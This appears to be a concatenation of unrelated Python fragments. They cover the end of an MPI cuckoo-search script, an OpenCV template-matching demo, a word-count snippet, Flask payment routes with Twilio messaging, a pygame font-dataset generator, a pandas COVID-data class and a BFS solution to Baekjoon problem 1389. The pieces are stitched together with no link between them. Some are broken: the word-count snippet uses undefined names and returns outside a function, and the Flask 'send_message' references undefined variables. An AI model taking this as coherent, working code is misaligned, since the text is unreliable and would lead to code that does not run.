	print("CUCKOO SOLUTION from Slave - 1:")
	print(nests[0])
	print("-----------------------------------------------------------------------------------------------------------------------------------------------------------")
if(rank==2):
	print("-----------------------------------------------------------------------------------------------------------------------------------------------------------")
	print("CUCKOO SOLUTION from Slave - 2:")
	print(nests[0])
	print("-----------------------------------------------------------------------------------------------------------------------------------------------------------")
#PPF_Print(MPI_COMM_WORLD,"hello")
#print(rank)
#print(nests)
nest1=comm.gather(nests[0],0)

if(rank==0):
	nest1.sort(key=lambda tup: tup[1])#prints sorted values, didnt work earlier cause you used gather and the other nodes didnt have any value for nest1[]
	print("-----------------------------------------------------------------------------------------------------------------------------------------------------------")
	print("FINAL SOLUTION:(Best of the three solutions) : ") #It does wait for the other process
	print(nest1[0])
	fin=nest1[0]
	comm.bcast(nest1,root=0)
	print("-----------------------------------------------------------------------------------------------------------------------------------------------------------")

'''isnt working for some reason '''

#if(rank!=0):
	#print(nest1)
	#fin=comm.Recv()


#import numpy as np
import cv2 as cv
import numpy as np
import time

def demoTemplateMatch():
    #
    # Define image sources
    fileImg1 = r'D:\yuansen\ImPro\improMeasure\examples\2022rcwall\leftPause\DSC02766.JPG'
    #fileImg2 = r'D:\yuansen\ImPro\improMeasure\examples\2022rcwall\leftPause\DSC02766.JPG'
    #fileImg2 = r'D:\yuansen\ImPro\improMeasure\examples\2022rcwall\leftPause\DSC02883.JPG'
    #fileImg2 = r'D:\yuansen\ImPro\improMeasure\examples\2022rcwall\leftPause\DSC02945.JPG'
    #fileImg2 = r'D:\yuansen\ImPro\improMeasure\examples\2022rcwall\leftPause\DSC03063.JPG'
    #fileImg2 = r'D:\yuansen\ImPro\improMeasure\examples\2022rcwall\leftPause\DSC03120.JPG'
    fileImg2 = r'D:\yuansen\ImPro\improMeasure\examples\2022rcwall\leftPause\DSC03183.JPG'
    #fileImg2 = r'D:\yuansen\ImPro\improMeasure\examples\2022rcwall\leftPause\DSC02899R.JPG'
#    fileImg2 = r'D:\yuansen\ImPro\improMeasure\examples\2022rcwall\leftPause\DSC03037R.JPG'
#    y0, x0 = 2163, 3103
    yc, xc = 2160 + 75, 3140 + 75
    ht, wt = 40, 40
    sy, sx = 55, 55
    y0, x0 = yc - ht // 2, xc - wt // 2
    img1Full = cv.imread(fileImg1, cv.IMREAD_GRAYSCALE)
    img2Full = cv.imread(fileImg2, cv.IMREAD_GRAYSCALE)
    tm = img1Full[y0:y0+ht, x0:x0+wt].copy()
    img1 = img1Full[y0-sy:y0+ht+sy, x0-sx:x0+wt+sx].copy()
    img2 = img2Full[y0-sy:y0+ht+sy, x0-sx:x0+wt+sx].copy()
    # template match
    tic = time.time()
#    match_method = cv.TM_CCORR_NORMED
    match_method = cv.TM_CCOEFF_NORMED
    corrTm = cv.matchTemplate(img2, tm, match_method)
    toc = time.time()
    print("Template match (%dx%d in %dx%d): %9.5f sec." %
          (img1.shape[1], img1.shape[0], img2.shape[1], img2.shape[0], toc - tic))
    corrTmImg = cv.normalize(corrTm, None, 0, 255, cv.NORM_MINMAX, cv.CV_8U)
    _minVal, _maxVal, minLoc, maxLoc = cv.minMaxLoc(corrTm, None)
    if (match_method == cv.TM_SQDIFF or match_method == cv.TM_SQDIFF_NORMED):
        matchLoc = minLoc
    else:
        matchLoc = maxLoc
    # find the best location based on 2nd order curve
    #   about x
    if matchLoc[0] - 2 >= 0 and matchLoc[0] + 2 < corrTm.shape[1]:
#        n = 5
        n = 3 # so far we only use n = 3 (taking 3 points, rather than 5 points)
        xmat = np.zeros((n,3), dtype=float)
        ymat = np.zeros((n,1), dtype=float)
        i = matchLoc[1]
        for j in range(n):
            xmat[j, 0] = (j - (n - 1) // 2) ** 2
            xmat[j, 1] = (j - (n - 1) // 2)
            xmat[j, 2] = 1.
            ymat[j, 0] = corrTm[i, (j - (n - 1) // 2) + matchLoc[0]]
        amat = np.matmul(np.matmul(np.linalg.inv(np.matmul(xmat.transpose(), xmat)), xmat.transpose()), ymat)
        xbest = matchLoc[0] + amat[1,0] / (-2. * amat[0,0])
    elif matchLoc[0] - 1 >= 0 and matchLoc[0] + 1 < corrTm.shape[1]:
        n = 3
        xmat = np.zeros((n,3), dtype=float)
        ymat = np.zeros((n,1), dtype=float)
        i = matchLoc[1]
        for j in range(n):
            xmat[j, 0] = (j - (n - 1) // 2) ** 2
            xmat[j, 1] = (j - (n - 1) // 2)
            xmat[j, 2] = 1.
            ymat[j, 0] = corrTm[i, (j - (n - 1) // 2) + matchLoc[0]]
        amat = np.matmul(np.matmul(np.linalg.inv(np.matmul(xmat.transpose(), xmat)), xmat.transpose()), ymat)
        xbest = matchLoc[0] + amat[1,0] / (-2. * amat[0,0])
    else:
        xbest = matchLoc[0]
    #   about y
    if matchLoc[1] - 2 >= 0 and matchLoc[1] + 2 < corrTm.shape[0]:
#        n = 5
        n = 3 # so far we only use n = 3 (taking 3 points, rather than 5 points)
        xmat = np.zeros((n,3), dtype=float)
        ymat = np.zeros((n,1), dtype=float)
        j = matchLoc[0]
        for i in range(n):
            xmat[i, 0] = (i - (n - 1) // 2) ** 2
            xmat[i, 1] = (i - (n - 1) // 2)
            xmat[i, 2] = 1.
            ymat[i, 0] = corrTm[(i - (n - 1) // 2) + matchLoc[1], j]
        amat = np.matmul(np.matmul(np.linalg.inv(np.matmul(xmat.transpose(), xmat)), xmat.transpose()), ymat)
        ybest = matchLoc[1] + amat[1,0] / (-2. * amat[0,0])
    elif matchLoc[1] - 1 >= 0 and matchLoc[1] + 1 < corrTm.shape[0]:
        n = 3
        xmat = np.zeros((n,3), dtype=float)
        ymat = np.zeros((n,1), dtype=float)
        j = matchLoc[0]
        for i in range(n):
            xmat[i, 0] = (i - (n - 1) // 2) ** 2
            xmat[i, 1] = (i - (n - 1) // 2)
            xmat[i, 2] = 1.
            ymat[i, 0] = corrTm[(i - (n - 1) // 2) + matchLoc[1], j]
        amat = np.matmul(np.matmul(np.linalg.inv(np.matmul(xmat.transpose(), xmat)), xmat.transpose()), ymat)
        ybest = matchLoc[1] + amat[1,0] / (-2. * amat[0,0])
    else:
        ybest = matchLoc[1]
    matchCenter= (xbest + wt // 2, ybest + ht // 2)
    cv.imshow("TM", corrTmImg);

    # draw template
    ptsPrev = np.array((sx + wt / 2, sy + ht / 2))
    ptsNext = np.array((xbest + wt / 2, ybest + ht / 2))
    img3 = drawTemplateMatch(img1, img2, ptsPrev, ptsNext, (wt, ht))
    cv.imshow("Matches", img3); cv.waitKey(0); cv.destroyAllWindows()

def drawTemplateMatch(imgPrev, imgNext, ptsPrev, ptsNext, winSize):
    imgShow = np.zeros((imgPrev.shape[0], 2*imgPrev.shape[1]), dtype=imgPrev.dtype)
    # background
    imgShow[:,0:imgPrev.shape[1]] = imgPrev
    imgShow[:,imgPrev.shape[1]:] = imgNext
    # ptsPrev
    ptsPrev = ptsPrev.reshape(-1,1,2)
    npoint = ptsPrev.shape[0]
    for i in range(npoint):
        pt1 = np.array((ptsPrev[i,0,0] - winSize[0] / 2., ptsPrev[i,0,1] - winSize[1] / 2.), dtype=int)
        pt2 = np.array((ptsPrev[i,0,0] + winSize[0] / 2., ptsPrev[i,0,1] + winSize[1] / 2.), dtype=int)
        cv.rectangle(imgShow, pt1, pt2, color=0, thickness=2, shift=0)
    # ptsNext
    ptsNext = ptsNext.reshape(-1,1,2)
    npoint = ptsNext.shape[0]
    for i in range(npoint):
        pt1 = np.array((ptsNext[i,0,0] - winSize[0] / 2. + imgPrev.shape[1] + .5, ptsNext[i,0,1] - winSize[1] / 2. + .5), dtype=int)
        pt2 = np.array((ptsNext[i,0,0] + winSize[0] / 2. + imgPrev.shape[1] + .5, ptsNext[i,0,1] + winSize[1] / 2. + .5), dtype=int)
        cv.rectangle(imgShow, pt1, pt2, color=0, thickness=2, shift=0)
#    cv.imshow("Matches", imgShow); cv.waitKey(0); cv.destroyAllWindows()
    return imgShow

# demoTemplateMatch()


from helper import read

data = read('pride_n_prejudice.txt')
def clean(dirty_data):
    from string import punctuation
    for p in punctuation:
        data=data.replace(p,'')
    return data
word = clean(data).lower().split()
#print(len('words'), 'unique'=,len(set(words)))
wordcount={}
for w in set (words):
    wordcount[w]=word.count(w)
return wordcount(word)


from flask import request, redirect, url_for, render_template, flash
from flask_breadcrumbs import register_breadcrumb
from flask_login import current_user, login_required
from sqlalchemy import func
from Golden_Leaf.models import Order, Payment, Client, db
from Golden_Leaf.views.payment import blueprint_payment
from Golden_Leaf.views.payment.forms import NewPaymentForm, SearchPaymentForm

def view_client_dlc(*args, **kwargs):
    id = request.view_args['id']
    c = Client.query.get(id)
    return [{'text': c.name}]

@blueprint_payment.route('/payment', defaults={'id': None}, methods=['GET'])
@blueprint_payment.route('/payment/client/<int:id>', methods=['GET', 'POST'])
@register_breadcrumb(blueprint_payment, '.', 'Pagamentos')
def get_payment(id):
    page = request.args.get('page', 1, type=int)
    if id is not None:
        payments = Payment.query.filter_by(client_id=id).order_by(Payment.date.desc()).paginate(page=page, per_page=10)
        return render_template('payment/list.html', payments=payments)

    payments = Payment.query.order_by(Payment.date.desc()).paginate(page=page, per_page=10)
    return render_template('payment/list.html', payments=payments)

@blueprint_payment.route('/payment/search', methods=["GET", 'POST'])
@register_breadcrumb(blueprint_payment, '.search_payment', 'Busca de Pagamento')
def search_payment():
    page = request.args.get('page', 1, type=int)
    form = SearchPaymentForm()
    if form.validate_on_submit():
        client = form.clients.data
        clerk = form.clerks.data
        payments = None
        if clerk is not None:
            if client is not None:
                payments = Payment.query.filter_by(client=client, clerk=clerk).paginate(page=page, per_page=10)
            else:
                payments = Payment.query.filter_by(clerk=clerk,).paginate(page=page, per_page=10)

        elif client is not None:
            payments = Payment.query.filter_by(client=client,).paginate(page=page, per_page=10)

        if not payments:
            flash('Pagamento algum encontrado', 'warning')
            return redirect(url_for('blueprint_payment.search_payment'))
        else:
            flash('Mostrando todos os pagamentos encontrados', 'info')
            return render_template('payment/list.html', payments=payments)

    return render_template("payment/search.html", form=form)

@blueprint_payment.route('/payment/new/client/<int:id>', methods=['GET', 'POST'])
@register_breadcrumb(blueprint_payment, '.id', '', dynamic_list_constructor=view_client_dlc)
@login_required
def new_payment(id):
    form = NewPaymentForm()
    if form.validate_on_submit():
        payment_value = form.value.data
        if payment_value > get_order_total(id):
            flash('Valor para pagamento ' + str(payment_value) + ' inválido.', 'warning')
            return redirect(url_for('blueprint_payment.new_payment', id=id))
        else:
            client = Client.query.get(id)
            payment = Payment(client.id, current_user.id, payment_value)
            db.session.add(payment)
            pay_off(client,payment)
            db.session.commit()
            # send_message(client, request.form['value'])
            flash('Pagamento recebido com sucesso!', 'success')
            return redirect(url_for('blueprint_payment.get_payment', id=id))

    form.total.data = get_order_total(id)
    return render_template('payment/new.html', form=form)

def get_order_total(client_id) -> float:
    return db.session.query(func.sum(Client.amount)) \
        .filter_by(id=client_id) \
        .scalar()

def get_orders_of_client(id):
    return Order.query.filter_by(client_id=id).order_by(Order.date).all()

def get_client(client_id) -> Client:
    return Client.query.filter_by(id=client_id).first()

def pay_off(client:Client, payment: Payment) -> None:
    value = payment.amount
    client.amount -= value

def send_message(payment: Payment) -> None:
    if payment.client.notifiable:
        account_sid = current_app.config['ACOUNT_SID']
        auth_token = current_app.config['AUTH_TOKEN']
        from twilio.rest import Client as Twilio_Client
        twilio_client = Twilio_Client(account_sid, auth_token)

        twilio_client.messages.create(body='Olá, ' + client.name + ' . Você debitou R$ ' + value + ' em sua conta. Volte sempre!',
            from_='+12054311596',
            to='+55' + client.phone_number)


#encoding: utf-8
'''
Create a font dataset:
Content / size / color(Font) / color(background) / style
E.g. A / 64/ red / blue / arial
'''
import os
import pygame

##
# 10 colors in RGB to choose from (back ground and font)
Colors = {'red': (220, 20, 60), 'orange': (255,165,0), 'Yellow': (255,255,0), 'green': (0,128,0), 'cyan' : (0,255,255),
         'blue': (0,0,255), 'purple': (128,0,128), 'pink': (255,192,203), 'chocolate': (210,105,30), 'silver': (192,192,192)}
# 3 Sizes of fonts
Sizes = {'small': 20, 'medium': 40, 'large': 60}
# Styles. All_fonts is the set of all styles in the current OS, we exclude useless fonts in this set.
All_fonts = pygame.font.get_fonts()
useless_fonts = ['notocoloremoji', 'droidsansfallback', 'gubbi', 'kalapi', 'lklug',  'mrykacstqurn', 'ori1uni','pothana2000','vemana2000',
                'navilu', 'opensymbol', 'padmmaa', 'raghumalayalam', 'saab', 'samyakdevanagari']
useless_fontsets = ['kacst', 'lohit', 'sam']

# throw away the useless
for useless_font in useless_fonts:
    if useless_font in All_fonts:
        All_fonts.remove(useless_font)
temp = All_fonts.copy()
for useless_font in temp: # check every one
    for set in useless_fontsets:
        if set in useless_font:
            try:
                All_fonts.remove(useless_font)
            except:
                print(useless_font)
# 52 letters
Letters = list(range(65, 91)) + list(range(97, 123))
Integers = list(range(48, 58))
single_set = Letters + Integers
words = []
img_size = 128

# generate words using a depth-first-search, max_w_len is the maximum length of the words, for now is one(single characters)
max_w_len = 1

'''
dfs takes a list L containing the single characters and use them to construct words of all permutations of characters
with a maximum length of max_w_len
dfs also takes an empty string as a starting point
'''
def dfs(w, L):
    if len(w)==max_w_len:
        return
    for l in L:
        words.append(w+chr(l))
        dfs(w+chr(l), L)

dfs('', single_set)

# directory to save the dataset
font_dir = './fonts'
if not os.path.exists(font_dir):
    os.makedirs(font_dir)

# initialize pygame and start to generate the dataset
pygame.init()
screen = pygame.display.set_mode((img_size, img_size)) # image size Fix(128 * 128)
cnt = 0

# use loops to iterate all the attribute sets
for word in words: # 1st round for words
    print(word)
    for size in Sizes.keys():  # 2nd round for size
        print(size)
        for font_color in Colors.keys():  # 3rd round for font_color
            for back_color in Colors.keys():  # 4th round for back_color
                # if not back_color == font_color:''' should not be same '''
                for font in All_fonts:  # 5th round for fonts
                    if not font_color == back_color:
                        cnt +=1
                        # print(cnt)
                        try:
                            # 1 set back_color
                            screen.fill(Colors[back_color]) # background color
                            # 2 set letter/word
                            # selected_letter = chr(letter)
                            selected_letter = word
                            # 3,4 set font and size
                            selected_font = pygame.font.SysFont(font, Sizes[size]) # size and bold or not
                            font_size = selected_font.size(selected_letter);
                            # 5 set font_color

                            rtext = selected_font.render(selected_letter, True, Colors[font_color], Colors[back_color])
                            # 6 render
                            drawX = img_size / 2 - (font_size[0] / 2.0)
                            drawY = img_size / 2 - (font_size[1] / 2.0)
                            # screen.blit(rtext, (img_size/2, img_size/2))
                            # screen.blit(rtext, (img_size / 4, 0))
                            screen.blit(rtext, (drawX, drawY)) # because
                            # Save images in a specific path E.g. A / 64/ red / blue / arial
                            img_name = selected_letter + '_' + size + '_' + font_color + '_' + back_color + '_' + font + ".png"
                            img_path = os.path.join(font_dir, selected_letter, size, font_color, back_color, font)
                            if not os.path.exists(img_path):
                                os.makedirs(img_path)
                            pygame.image.save(screen, os.path.join(img_path, img_name))
                        except:
                            # print(letter, size, font_color, back_color, font)
                            print(word, size, font_color, back_color, font)
                    else:
                        break
print('finished')


import pandas as pd
from datetime import datetime

# Data sorting and clustering
class DataBuilder():
    __now = datetime.now()
    __today = __now.strftime("%m-%d-%Y")

    def __init__(self):
        filename = self.__today + '.csv'
        self.data = pd.read_csv('./data/' + filename)
        self.__countries = self.data['Country/Region'].unique().tolist()

    def tracker_data(self):
        """
            Return full data for map view
            Args = None
        """
        self.data.sort_values(by=['Country/Region'], inplace=True)
        return self.data.to_json(orient='index')

    def region_data(self, region="Mainland China"):
        """
            Verify region and return stats
            Args = Region name as str
        """
        df2 = self.data.groupby('Country/Region')
        val = df2.sum()
        region = region.title()
        if(region in self.__countries):
            return val.loc[region].to_json(orient='index')
        else:
            # RAISE REGION NOT FOUND ERROR HERE !!!
            return "No data"

    def total_data(self):
        """
            Return total number of confirmed, dead and recovered victims
            Args = None
        """
        df2 = self.data.sum(axis = 0, skipna = True)
        val = {
            "Confirmed" : int(df2['Confirmed']),
            "Deaths" : int(df2['Deaths']),
            "Recovered" : int(df2['Recovered']),
        }
        return val


import sys
from collections import deque
sys.setrecursionlimit(10 ** 6)

def bfs(v):
    queue = deque()
    queue.append([v, 0])
    visited[v] = True
    while queue:
        global cnt
        now, c = queue.popleft()
        cnt += c
        for k in arr[now]:
            if not visited[k]:
                visited[k] = True
                queue.append([k, c+1])

n, m = map(int, input().split())
arr = [[] for _ in range(n+1)]
for i in range(m):
    a, b = map(int, input().split())
    arr[a].append(b)
    arr[b].append(a)

for i in arr:
    i.sort()

res = [0] * (n+1)

for i in range(1, n+1):
    visited = [False] * (n+1)
    cnt = 0
    bfs(i)
    res[i] = cnt

print(res.index(min(res[1:])))

백준 알고리즘/그래프 탐색/1389 케빈 베이컨의 6단계 법칙.py

1389 케빈 베이컨의 6단계 법칙.py